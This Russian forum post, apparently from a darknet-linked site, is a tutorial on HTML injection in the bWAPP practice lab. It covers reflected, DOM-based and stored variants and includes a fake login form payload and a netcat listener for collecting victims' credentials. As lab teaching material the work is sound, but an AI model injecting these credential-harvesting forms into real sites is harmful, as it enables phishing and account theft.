HTML/CSS инъекция в веб-приложениях

  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

ФСБ

Участник

ФСБ

Участник
17 Ноя 2020
61
5
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
HTML/CSS инъекция в веб-приложениях
В данной статье я решил собрать примеры эксплуатации HTML/CSS инъекций на примере одной из площадок по тестированию веб-приложений. Buggy web application — bWAPP
Это open source веб-приложение, свободное для скачивания. Я надеюсь, что наткнувшись на эту статью вас заинтересует тема информационной безопасности (ИБ) или она станет просто хорошей шпаргалкой для решения похожих задач. Если возникают вопросы, я буду рад ответить на него в комментариях.
Сегодня мы рассмотрим четыре уязвимости с раздела A1-Injection:
/HTML Injection - Reflected (GET)/
/HTML Injection - Reflected (POST)/
/HTLM Injection - Reflected (URL)/
/HTML Injection - Stored/
Теория возникновения уязвимости
Для знающих можно сразу пролистать. HTML/CSS инъекция становится возможной из-за некорректной проверки данных, которые вводит обычный пользователь. Веб-разработчик иногда не предполагает что пользователь введет в поле имя <h1>Боб</h1> вместо Боб, но результат будет кардинально отличаться. Эта уязвимость позволяет сильно испортить ресурс или полностью изменить его... Примеры такого кода.
<?php
$name = $_REQUEST ['name'];
?>
<html>
<h1>Welcome to the Internet!</h1>
<br>
<body>
Hello, <?php echo $name; ?>!
<p>We are so glad you are here!</p>
</body>
</html>


HTML Injection - Reflected (GET)
С названия сразу понятно, что для уязвимости будет использоваться метод передачи параметров в URL. После входа на страницу мы можем наблюдать поля для ввода.
EZbjqhHxank.jpg

После ввода тестовых данных наша адресная строка имеет вид:
htmli_get.php?firstname=test&lastname=test&form=submit
Из нее мы видим, что передаются два параметра firstname и lastname и видим на экране обычный результат:
Ag2Dg59bN_U.jpg

Теперь попробуем добавить HTML теги в нашу адресную строку:

htmli_get.php?firstname=<h1>test</h1>&lastname=<h2>test</h2>&form=submit
Мы добавили два тега заголовка <h1> и <h2> и результат вывода на экран показывает, что данная страница уязвима к HTML инъекции:
IuI7NLdFDKw.jpg

Дальше страница полностью в нашем распоряжение и мы можем делать все, что вздумается, к примеру, использовать такой HTML код, просто введя его в поле firstname :
<h3>Please Enter Your Username and Password to Proceed:</h3>
<form method="POST" action="
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
login.php">
Username: <input type="text" name="username" /><br />
Password: <input type="password" name="password" /><br />
<input type="submit" value="Login" /></form><!--
Результатом такой инъекции является полная замена страницы на поле авторизации и все введенные данные будут отправлены вам.
2lpbeka_j2w.jpg

HTML Injection - Reflected (POST)
Отличие между этой и предыдущей инъекцией небольшое, а точнее только в способе передачи параметров. В POST запросе параметры передаются внутри пакета и для его просмотра можно использовать Burp Suite:
BWUXUaoTtxY.jpg

Дальнейшая методика инъекции полностью совпадает с предыдущим примером, но все параметры заменяются не в URL страницы, а в теле POST пакета.
GxaCXYc9zS8.jpg

HTML Injection - Reflected (URL)
Своеобразная уязвимость, основанная на работе самого сервера. На странице работает js, который считывает текущий URL пользователя и выводит его на страницу. Хорошее описание можно найти на страницу по DOM-XSS
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

ms7qcHJBU9g.jpg

Для ее эксплуатации нужно всего лишь добавить необходимые значения после адреса текущей страницы:
htmli_current_url.php#<h1>XSS DOM</h1>
htmli_current_url.php?<h1>XSS DOM</h1>

IN-Ll1ghJKo.jpg

HTML Injection - Stored
Данный пример основан на всех предыдущих и необходим для наглядной эксплуатации HTML Injeaction. При входе на страницу мы видим возможность публиковать сообщения (они сохраняются в базе данных и выводятся всем, кто посетил эту страницу).
YsUYZkvidvc.jpg

Есть несколько способов поэксплуатировать страницу:
  1. Отправить тег открытия комментария <!-- , что позволит полностью остановить работу т.к. новые данные будут восприниматься как комментарий к коду.
  2. Выделять свои сообщения с помощью специальных тегов <b><h1-3><i><img> и др.
  3. Полностью заменить страницу и перенаправить вводимые данные к себе.
К примеру, рассмотрим третий пункт. Для начала нам нужно поставить прослушивание порта на своем компьютере. Для ОС Linux используется такая команда, как nc -vlp 80. Дальше вставляем текст, который заменит исходную страницу на нужную нам.
-68RmJZ14Xs.jpg

Осталась самая скучная и долгая часть - ждать, когда кто-то введет свои данные на странице и нажмет отправить…
9_LwEAmzFh0.jpg


Поделиться Сохранить в закладках
Ещё

165 просмотров
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

9 фев в 11:55
Вы подписаны
 
Последнее редактирование модератором:

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2022

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя